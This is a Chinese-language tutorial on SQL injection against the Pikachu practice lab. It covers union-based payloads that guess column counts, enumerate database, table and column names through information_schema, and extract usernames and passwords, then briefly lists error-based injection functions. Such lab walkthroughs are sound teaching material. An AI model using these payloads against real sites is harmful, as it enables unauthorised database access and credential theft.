一、union注入
基于union的信息获取:
union联合查询:可以通过联合查询来查询指定的数据
用法举例:
select username,password from user where id =1 union select 字段1,字段2 from 表名
先登入PHPmyadmin 进入pikachu的数据库中
得到此结果 上述为一般查询
union查询:
除了通过遍历查询数据库内容外,还可以通过一下方法查询:
通过select database();来查询数据库的名称
通过select user();来查询数据库使用的用户名
通过select version();来查询数据库的版本
如果想要通过SQL注入可以通过以下方法:
在这里使用字符型注入来进行演示
由于我们无法知道数据库中有几个字段,所以需要通过猜测来判断字段数
下面可以通过order by来进行猜测
select id,email from member where username=‘allen’ order by 1; //通过第一列进行排序
select id,email from member where username=‘allen’ order by 2; //通过第二列进行排序
select id,email from member where username=‘allen’ order by 3; //通过第三列进行排序
通过order by来进行列的排序 就可以清楚有多少个字段
让我们回到字符型注入
输入a’ order by 5 #后得到的结果 (这里用到了二分法)
得到下图时 ,就意味着order by 正常执行了 就可以知道有多少个字段了
接下来就可以进行union查询了
输入 a’ union select database(),user() #
就会显示数据库的名称和所用的用户名了
输入 a’ union select version(),4 #
就可以获取数据库的版本
由于必须要有两个字段 所以后面一个我们可以随意拼接一下
通过union查询来获得一下 数据库的基本信息 这就是union联合查询的作用
MySQL的小知识补充:information_schema
在MYSQL中,自带的information——schema 这个表中存放了大量的信息
获取数据库名(行话:爆库):
xxx’union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’#
1
获取表名(行话:爆表):
xxx’union select table_name,column_name from information_schema.columns where table_name=’users’#
1
获取列(行话:爆字段):
xxx’union select table_name,column_name from information_schema.columns where table_name=’users’#
1
获取密码(行话:爆数据):
xxx’union select username,password from users#
二、
三、基于函数报错的信息获取
常用的报错函数:updatexml() , extractvalue() , floor()
基于函数报错的信息获取(select/insert/update/delete)
Select 下报错的利用演示:
当我们构造一个错误的语法时 会返回报错信息
出现了报错
这里版本被吃掉了 所以需要通过使用concat()来显示
用相同的方法获取其他表的名称
数据库名称等:
返回的数据大于一行时
使用如下操作
获取所有表后再进行如下操作 获取字段